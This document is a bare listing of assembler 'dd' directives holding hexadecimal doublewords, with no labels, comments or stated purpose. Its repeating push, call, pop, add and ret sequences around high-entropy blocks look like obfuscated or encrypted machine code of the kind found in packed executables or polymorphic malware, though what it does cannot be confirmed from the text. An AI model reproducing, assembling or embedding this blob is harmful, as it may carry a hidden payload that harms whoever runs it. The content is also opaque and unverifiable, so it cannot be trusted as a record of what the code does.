		dd 50B1408Dh, 6A241C89h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 4DADC356h, 29181CEBh
		dd 8BAEF3A2h, 120E6DBDh, 61B5FF06h, 2B061208h, 1220ADBDh
		dd 7595FF06h, 6A061224h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 5319C352h, 2F099D89h
		dd 0F5E0612h, 688h, 0BDBD0100h,	0B0061220h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7AC843C8h, 8B94280Bh, 122EC1B5h, 6A70E606h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5040C350h, 0EC24BF23h, 71E41974h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 83C35646h, 0B3BB5F53h, 0DE146D78h
		dd 0BD3360D8h, 6122651h, 61CBB70Fh, 830F613Ch, 1C6h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 80C35141h, 78727A29h
		dd 0FF83292h, 870FD8B6h, 6, 2661B58Bh, 6BA0612h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0EAAFC353h, 0F52A3CDh, 8B5EF1BFh,	1201E1BDh
		dd 8BC38B06h, 1234CDBDh, 4E8C106h, 28E0Fh, 0F18B0000h
		dd 6AE2F766h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 2BAEC351h, 6860FD8h, 81000000h
		dd 42EC6FE7h, 8D295871h, 612343Dh, 880FD82Bh, 116h, 6EEE8152h
		dd 5F2FCBD1h, 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 1205DE8Bh, 7A59F0Eh, 0B70F13CFh
		dd 0C183FAh, 6E9h, 0C0617300h, 3B2AE897h, 0CB860FD9h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 148AC351h, 9A1530Dh, 30BC6E84h, 0BED98C66h
		dd 6BA9CAEDh, 0F04C1F6h, 8F84h,	6DB58B00h, 0FF06122Eh
		dd 12047995h, 6A5BF506h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0AB51C352h,	0FE8FBh
		dd 4D140000h, 0C998CAECh, 5C01CAE7h, 638D0D56h,	35B5890Bh
		dd 5F06120Bh, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD8B91C3h, 61213CDh, 8343Dh, 19860F00h
		dd 89000000h, 120E91BDh, 14E906h, 0BF0F0000h, 58F0FFBh
		dd 66000000h, 6B79C781h, 0BE66C08Bh, 0C38BDE45h, 0BD33D88Bh
		dd 612116Dh, 134985C7h,	1FFB0612h, 6A1A8Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B8C9FC3h
		dd 5870FC0h, 66000000h,	0EC4DCE81h, 861BD81h, 7D00612h
		dd 850F0000h, 2Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0F8C35141h, 6D9D8909h, 0FF061226h, 12086185h
		dd 0D1BD0306h, 0FF061223h, 120861B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0F8EEAA57h, 70374B50h, 8840Fh, 8C0F0000h, 2,	0B58B6160h
		dd 61211E9h, 247595FFh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C7AC91C3h, 0FB8BC563h
		dd 1439BD8Bh, 6A900612h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 3F6DC351h, 0A6E2BDA1h
		dd 0D5467E64h, 0FE8h, 22D24300h, 0C8B70C3Fh, 1389A4DEh
		dd 75185884h, 1B55B58Bh, 815F0612h, 7C8811C6h, 88D0F25h
		dd 50000000h, 5EF28B66h, 89F98B66h, 122715B5h, 7DB58906h
		dd 89061216h, 122A3D8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0AC4A06F2h, 2E21BD29h
		dd 2B600612h, 1215399Dh, 75858906h, 8B06121Bh, 25BD8BDEh
		dd 61061232h, 6E9h, 613DF800h, 66EBAFEAh, 6AFB8Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 7ED5C2C3h, 2C925A45h, 870FC56Fh, 6, 425B509h, 7E80612h
		dd 60000000h, 0F9810F8Bh, 9CBF1079h, 660361CEh,	6A5FFA8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 20A5C353h, 26BD7DEDh, 6656519Fh, 8BF0FBBEh
		dd 120651B5h, 0B5295F06h, 61230ADh, 7DB58B5Eh, 0E906120Fh
		dd 0FFFFF91Dh, 1265B58Bh, 8B600612h, 0FFFEB9FAh, 880FFFFFh
		dd 3, 2152C880h, 121A018Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A31B611Ch
		dd 0F03309D6h, 38DF807Ah, 0A958D21h, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0C20D1DC3h
		dd 0CE945E2h, 0B2000000h, 0EF0A836Ah, 6E9A01E0h, 8B6820FAh
		dd 121A018Dh, 83B8B006h, 850F01E1h, 6, 2CD98D29h, 8D8B0612h
		dd 6120A95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0E6C35747h, 0BDBD8B1Ch,	8306122Ch, 850F01E1h, 23h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 22C35343h, 8166F4E5h, 61824BE7h, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0BEC9319Ch
		dd 22EF5C48h, 0D0816CFAh, 13CF328Bh, 0FFFFFEB9h, 0ED8D01FFh
		dd 2106122Bh, 1219F58Dh, 0B9B58906h, 21061221h,	1233A18Dh
		dd 11BD8B06h, 8B061233h, 1219F58Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 69D98DD3h
		dd 911706C9h, 49B589AFh, 0BE06120Bh, 575293D6h,	0F01E183h
		dd 2685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0EAB57AEAh, 0B6F081BBh, 8B76CE4Fh
		dd 1233A18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0B2C91D24h, 0F01E183h, 2A85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 10B1526Eh, 733075A3h, 19B509E6h, 61061202h, 0FFFEB960h
		dd 820FFFFFh, 6, 19CD9D33h, 0BD890612h,	6121C71h, 2B998D21h
		dd 0B8660612h, 8D2157EEh, 612145Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 42C35040h, 49B0A9C7h, 9D2927FEh
		dd 61211B1h, 2B998D8Bh,	6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 8F2539C3h, 667F0828h
		dd 8343CF81h, 0F01E183h, 2585h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0DBA38E90h
		dd 1BC9B58Bh, 8D8B0612h, 612145Dh, 12C1B529h, 0E1830612h
		dd 24850F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5EBC355h, 3929B19Dh
		dd 61F3674Fh, 958B6060h, 6120551h, 0BE953h, 282A0000h
		dd 2067B69Dh, 1FCD2E5Fh, 0B9615E1Dh, 0FFFFFFFEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 21C35343h, 0B5B50931h
		dd 21061233h, 1211B58Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 68050C95h, 55BBE9B9h
		dd 0FE27B7BFh, 498D215Ah, 8B061213h, 123105B5h,	0B58D8B06h
		dd 6A061211h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0A608C356h, 997EC1E2h,	3B49B763h
		dd 0E2BBDE81h, 0E18367EFh, 6850F01h, 89000000h,	1203359Dh
		dd 498D8B06h, 6A061213h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0CEDCC355h,	0DE90A0Fh
		dd 0F3000000h, 8B2A0B0Ch, 778480C9h, 0C17F1EC8h, 0F01E183h
		dd 2785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A93A67E0h, 0DBF78160h, 610C2F70h
		dd 24E961h, 0B1DE0000h,	20C1h, 7 dup(0)
		dd 55E90000h, 0D7000005h, 0EB46A351h, 3A957218h, 48A740ECh
		dd 9AF512B6h, 7D00E18Dh, 69151249h, 39DF2188h, 0AAC71D8h
		dd 0DB8382EDh, 40A8E53Eh, 0ECAE91h, 6DCE132Fh, 0C651EA94h
		dd 37228B3Eh, 251D86A2h, 0CE5F2DA6h, 9C5DB339h,	3A06FA26h
		dd 0C42BC443h, 877F883Dh, 94DFF707h, 7244A419h,	193A0C2Ch
		dd 0B9105CD9h, 5BB2BE68h, 0CF5622C8h, 0D150D0BAh, 31579429h
		dd 6FA62C0h, 45A61F1Eh,	9A7717EAh, 5CA4EA37h, 2EADC8B4h
		dd 9339CB42h, 0A981CAE5h, 0B902A479h, 62E5147Ch, 0F84306FAh
		dd 83DD627Bh, 1D1C7554h, 2C3BB83Dh, 375F2DD5h, 6FA0AC3h
		dd 0B30763D4h, 0D0F70331h, 7D5Eh, 946DFB00h, 1F69EEAh
		dd 1406FA82h, 0F1F3C7A3h, 9ED0F78Bh, 1,	0EC926D3Bh, 50F60980h
		dd 0D63A7724h, 6FA8227h, 82CE0F61h, 156806FAh, 889AF548h
		dd 0FE006FE4h, 0AC76E15Ah, 84017C08h, 0E49291F8h, 4C8DE398h
		dd 0EA06FA82h, 0BC26F893h, 0FA82A554h, 0BD380306h, 0C8A285CFh
		dd 0EE44EDB4h, 7B171E0h, 0E887FC79h, 0E9967317h, 86FFA77Eh
		dd 0CB701AEBh, 0D3E821ADh, 199A3DFDh, 966D61C0h, 81DF9CE8h
		dd 0B94BDD0Ah, 90086513h, 0A92AB77Fh, 0D3A145DEh, 7602AA7Ah
		dd 17650F17h, 0B070DA6Dh, 0BEBBC971h, 0CCA6E143h, 0FE1BC75Ch
		dd 0A88A2741h, 53B3B33Ah, 6AF23545h, 0D32E9717h, 0AD284533h
		dd 1EC85928h, 812BFB52h, 61C97EF3h, 721EE473h, 37EA6B06h
		dd 0D0F797A5h, 78CAh, 966D6F00h, 0F50D9CE8h, 53943D4Bh
		dd 70FC0BF7h, 0FA82D918h, 89047706h, 0DFDD2534h, 5725A042h
		dd 0E940991Ah, 5B006C1Ah, 9F47D53Dh, 0A82DED90h, 0D5A345D9h
		dd 2F83EF90h, 0D0F7FBADh, 47F3301Fh, 0A7C73C39h, 51h, 53D0BF42h
		dd 3F216A7h, 5D06FA82h,	0FD0A65DEh, 28FA864Ch, 4CCB382Ch
		dd 0B254A920h, 18BA47C6h, 7F21FD6Ch, 7CD651F1h,	0F159CA60h
		dd 0AB44F231h, 0EC926D4Ch, 0FBDDB80h, 1B2DB142h, 3F759DAh
		dd 1406FAA2h, 0F1F3C7A3h, 9ED0F7ABh, 1,	0EB956D3Bh, 0B273DE9Dh
		dd 0F6751DE4h, 1B76EF8Ah, 1B14600Ah, 7A8878D2h,	2DC31CEh
		dd 71E01D9Eh, 649606B0h, 518E1EE6h, 9020A82Dh, 0E0CE803h
		dd 0F85E46F2h, 57E47E3h, 0AA69F858h, 0B4730709h, 43C24B39h
		dd 83E5229Bh, 0E83E52h,	0FB1491ECh, 58E58D94h, 0A37E34C9h
		dd 7DF88403h, 0EBEC74F8h, 7F00E83Eh, 1F8EFAA8h,	63115F05h
		dd 0F8526AC0h, 0DE27E34Fh, 0D19F4BD8h, 852BF594h, 7F86E906h
		dd 0E120A9D7h, 1C0B4B39h, 7F3BCA36h, 0F570FCA6h, 2E9E9976h
		dd 43D6E537h, 13Bh, 0E021BFE6h,	0FAF79076h, 0A9280A92h
		dd 0ADA00ECAh, 21835B28h, 4C015F9Ch, 5500F4ABh,	5EB2269Fh
		dd 780CE83Bh, 0F167705h, 4AC63759h, 0F16000E8h,	900F8A2Ch
		dd 41E13C2Bh, 5CBD3633h, 318A34CDh, 4A5D9CF4h, 80FB00E8h
		dd 11107903h, 0B945D469h, 970C6917h, 90FAADE5h,	8E99190h
		dd 0E5439F09h, 42F0D6h,	0BF910000h, 0C3AA4ED0h,	4A279C3Eh
		dd 5AAE0F77h, 34BDD33Bh, 215A2615h, 4D3CB3C7h, 8B08416Bh
		dd 0FA04D405h, 0C2A89B86h, 26F97D44h, 50B80580h, 0B4BD5501h
		dd 0BEC31C1Fh, 0DAA654D3h, 94F4269Fh, 9D000000h, 50ED4F6Fh
		dd 54FC0413h, 0FA820DCCh, 53D0AB06h, 764282E6h,	1C7C0CE8h
		dd 0B3A0A31Eh, 0B8E55EE4h, 0BD2ED529h, 0E1C445B7h, 1967E261h
		dd 28C971B0h, 259640C1h, 0A45180E8h, 8CEF00E8h,	2B366517h
		dd 23B52EDCh, 0E8A419h,	4ED443E0h, 0A6021A2h, 825F071Eh
		dd 0B632912Dh, 0A3474826h, 89C677F2h, 62E3839Eh, 0F64E6AFEh
		dd 16CCC0Ah, 6BBEB1A9h,	29DC9976h, 0E05FD2C2h, 6FB61765h
		dd 17EB76C7h, 0B38CF075h, 0CC12107Ah, 0A9BDD368h, 0D00CDB1h
		dd 6F76D12Eh, 1350ED4Fh, 0FA82FCFDh, 62E35A06h,	0A6D7B3D5h
		dd 0B2EF0CE4h, 0ECAF9F5Eh, 0C1423900h, 0F414A994h, 0D68FA0F7h
		dd 7A0283AFh, 0D3681213h, 0C6375996h, 6000EC3Bh, 3B4A8B1Dh
		dd 99E400ECh, 22BEC31Ch, 0C06F9DD7h, 89D85D1Eh,	0D2A2CE78h
		dd 0EBB39A59h, 66A28839h, 0B71AF79Fh, 51B8C46Eh, 0CC5D2BCDh
		dd 6AE39131h, 0C389F797h, 25E2FA50h, 44B5DB18h,	0E22A176Bh
		dd 6B9243A5h, 512C2A17h, 3A1051D2h, 5FB137CEh, 2A176B9Eh
		dd 29C64538h, 0E9973FC6h, 3DFh,	0F998BA00h, 9BE9976Dh
		dd 3D4BF332h, 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h
		dd 4B39DB27h, 0EC9844C2h, 70FCA27Dh, 0E389532Dh, 4C381h
		dd 0EB830000h, 74FF5304h, 8F5B0424h, 515C2404h,	0C181E189h
		dd 4, 8704E983h, 895C240Ch, 2F682404h, 89000053h, 0BD552414h
		dd 6162CBAh, 242C8155h,	1A7A3ABCh, 3ABC0558h, 835D1A7Ah
		dd 248904ECh, 24048324h, 54685A04h, 89000045h, 2C812404h
		dd 304A2424h, 8428F18h,	24084281h, 8B18304Ah, 89522414h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 2434FF5Ch, 4C48358h
		dd 0FC4E6BE9h, 1B7186FFh, 0DD39B753h, 16317CB8h, 0FFC50306h
		dd 8C59A7E0h, 0C1BD7316h, 977DCF39h, 4E9AF17h, 73E00625h
		dd 0B5A62D7Ch, 0AF298939h, 5AFECA1Dh, 0E441342h, 0F44DDF3Dh
		dd 0AE3F496Eh, 20E79331h, 0FA889A49h, 9DEF283Ch, 6A602Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 20918EC3h, 0DAA1459h, 60609099h, 61CA8B66h, 86D9D29h
		dd 8B610612h, 6185C7F2h, 0D0061208h, 6A000007h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 8CC6C353h, 18EAC0DEh, 806BE4B7h, 6A61C3F5h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0FD17C350h, 0A3792A61h, 0EB68C0ECh, 0E99D6107h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C5C35545h
		dd 870F2A9Ah, 6, 10BCEB81h, 6A4F9Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0B0828EC3h
		dd 800F9Bh, 8B000000h, 75E9C1h,	66600000h, 4A8D88Ch, 35840Fh
		dd 16A0000h, 2E19B5FFh,	858D0612h, 61581A4h, 8589D0FFh
		dd 61211E1h, 0EFC1FE8Bh, 680Ch,	6A2004h, 6857026Ah, 1000Dh
		dd 11E195FFh, 32E90612h, 0C6000000h, 12025985h,	0DF685606h
		dd 0FFA9C530h, 122E69B5h, 0A4858D06h, 0FF061581h, 0DD8589D0h
		dd 8D061201h, 122ED585h, 206A5006h, 0FF56056Ah,	1201DD95h
		dd 0C1C36106h, 6A6006E0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0B7CCC357h,	0FAC59408h
		dd 80F38BD5h, 0C08B7CF5h, 0A2D9529h, 0BD830612h, 6120E71h
		dd 83097500h, 122D69BDh, 19740006h, 0C08B5350h,	438B8h
		dd 0F5858900h, 8D061234h, 14AFEA9Dh, 5BD3FF06h,	69BD8358h
		dd 6122Dh, 53501774h, 438B8h, 0F5858900h, 8D061234h, 14ACD99Dh
		dd 5BD3FF06h, 0BFE98058h, 66E7E981h, 6A197Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 539C4CC3h
		dd 2531CB9h, 8B665905h,	6AC08BFBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EF10C351h
		dd 2FC19596h, 46F5B6EBh, 54C98166h, 8DCE8D0h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 28CBD4C3h, 2FA3C254h, 8B759CDDh, 121741BDh, 0AB9F506h
		dd 89303811h, 121A9D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E2F432AFh, 12E9B7F7h
		dd 0A8000000h, 0F4BA0268h, 267E44EAh, 327264DAh, 0FA4F9659h
		dd 868E817h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 899A71C3h, 121AED85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 13181606h, 0E8F3B5E5h, 81Eh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0B1C35343h,	56F0FF30h, 0C870Fh
		dd 880F0000h, 6, 33C18D8Bh, 85890612h, 612120Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 82C35747h, 5F741E0Fh
		dd 68A0F12h, 29000000h,	12254185h, 7B4E806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0F98B9DC3h, 34D18589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 786CCDC3h, 0E888FDFCh
		dd 9, 0E795842Eh, 0C3FA63C6h, 1BD0173h,	59061221h, 755E8h
		dd 58B0F00h, 66000000h,	0F278D681h, 2E98589h, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 21162C3h, 9646F189h,	6830FAEh, 89000000h, 1225F995h
		dd 710E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7FAD82C3h, 7F53A386h, 65B5892Ch
		dd 8906120Ah, 1205ED85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 99CB7383h, 0BBE8A2F6h
		dd 6A000006h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0DF0CC350h, 2EA58589h,	0BD330612h
		dd 61214F9h, 68DE8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 8D48C532h, 0D0720270h
		dd 198589F4h, 6A061232h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 6F2C356h, 266D8589h
		dd 9D890612h, 6123545h,	635E8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 8712B43Bh
		dd 32D18589h, 0C1800612h, 608E83Eh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 583948C3h
		dd 2F90A4B7h, 35958940h, 89061206h, 12254D85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8589888Bh, 61224D1h,	5B1E8h,	0F3BF0F00h, 1B518589h
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B58BF0C3h, 612220Dh, 581E8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 39A92E03h, 85EF15CFh, 8BE6F681h, 85896F47h, 61230DDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E4C35242h
		dd 0FC32E7Dh, 2BE8C9B7h, 80000005h, 85895AEDh, 6122C09h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EC35747h
		dd 0BC1D6995h, 505F8249h, 4F9E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F2C36B70h
		dd 97CAD5F6h, 29858932h, 0E8061216h, 4CAh, 2F9CD781h, 858969D0h
		dd 6122105h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	9CC35343h, 71F74C06h, 0C64912B9h, 5EFC502Ah, 491E8h
		dd 13E900h, 17A0000h, 0E17BEC6Ch, 831E448Ah, 2A1E4DDEh
		dd 1793820h, 1D8589F1h,	6A061203h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6B1FC357h
		dd 344F7070h, 0F7814FE7h, 375EDCE8h, 6A00B0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6541EAC3h
		dd 2B5A5460h, 81B58B84h, 0F061208h, 0B58BD8B6h,	6123129h
		dd 6BAh, 6AC38B00h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 80CC356h, 0FA103253h, 14E972h
		dd 8D4F0000h, 9E32C99Dh, 0C8DAB277h, 948E3B6Bh,	0E8942D33h
		dd 0E8C1D201h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66803399h, 6AE2F7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 2F0691C3h, 8E0FC066h, 1, 6AD82BF5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 718FC351h
		dd 506C2BA2h, 0FBBBF66h, 6A241C89h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 7003C353h
		dd 0FD2DF2F8h, 0FFF98BF8h, 12047995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 9FE42BFAh, 0E4D0C23Bh, 338D9589h, 6A5B0612h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 48D8C357h, 3F93FC26h, 0F9BB9D77h, 0E6DBD89h,	958D0612h
		dd 61211FDh, 5E9h, 0C33BCE00h, 0F88B5302h, 6A1A89h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 647691C3h, 1341504Eh, 0C65BD89h, 800F0612h, 6, 26D58D89h
		dd 42890612h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 66C366C0h, 958DF08Bh
		dd 61233A9h, 34118D8Bh,	1A890612h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0C6C35747h,	0C61BBE1Ah, 8166745Fh
		dd 89B52DC6h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 491ECAC3h, 411B58Bh, 958D0612h
		dd 6122225h, 8D8D8960h,	8B06120Ch, 1213AD9Dh, 1A896106h
		dd 1CF1BD33h, 42890612h, 50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 796D2728h, 0D5958DECh
		dd 6A06120Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0FED7C353h, 596A70A5h,	0AF24355Eh
		dd 5FCA8B57h, 6A1A89h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 891134C3h, 9D890442h, 6122A21h
		dd 579958Dh, 81660612h,	890173F7h, 53006A1Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C68C6E94h
		dd 8B66F40Ah, 44289FAh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9EC35545h, 0C5B58B8Ch, 8D061214h, 121BF195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0A879C07h, 5F6D05FBh, 12E955h, 71210000h
		dd 0C88A5DBCh, 74A53ABBh, 0C7AFF6BCh, 0F97410CCh, 0C93CB966h
		dd 81661A89h, 89C264F7h, 81660442h, 8D7819CFh, 1229CD95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0DEF1F1DAh, 89FBBF0Fh, 50006A1Ah, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 31971FC7h, 3881ECF2h, 0D78166A0h, 42895F00h,	0A1BD0904h
		dd 8D06122Ah, 1232E195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 2460D564h, 0B0C49DB9h
		dd 0F1A8965h, 4289FBBFh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 9EAA270Fh, 0BBA0417Fh
		dd 8E8h, 7CB9B500h, 0B5AEF67Dh,	0E95EF546h, 0F0h, 8BCB8A60h
		dd 12200D95h, 8B526106h, 1208558Dh, 6A5F06h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h, 13F18C4Fh
		dd 2BD4F58Ch, 2165CE81h, 0B1B50B27h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 1D4981C3h
		dd 6A006ADCh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 4733C356h, 63FC1642h, 698D89A8h
		dd 6A061227h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0CAE63B43h, 0C181C15Ah, 303EBC0Dh
		dd 10B19D89h, 95FF0612h, 6120A45h, 6E85FEB9h, 6AC30Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9F4D99C3h, 9569DDEAh, 8D23D52Ah, 61230E9h, 6AC58Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0DF1F7FC3h, 3FB1EFE5h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 47B4AEC3h, 0C0E4BECDh
		dd 9EF181B0h, 832BDFB6h, 120E71BDh, 9750006h, 2D69BD83h
		dd 74000612h, 8B535019h, 438B8C0h, 85890000h, 6123205h
		dd 0B0519D8Dh, 0D3FF0614h, 0BD83585Bh, 6122D69h, 50177400h
		dd 438B853h, 85890000h,	6123205h, 0ACF29D8Dh, 0D3FF0614h
		dd 1DB1585Bh, 233D9D01h, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 6E6AFFC3h, 87CF3B8Ah
		dd 0B9666647h, 0C08BB459h, 169858Dh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0BEFAC4C3h
		dd 6E9h, 0BA85600h, 5018A786h, 174707BFh, 24048910h, 3251BD89h
		dd 6A0612h, 65267EBFh, 91BD8913h, 6A06122Ch, 0B58B6000h
		dd 6122231h, 61D88B66h,	40CA858Dh, 6A0616h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B3EE27C3h
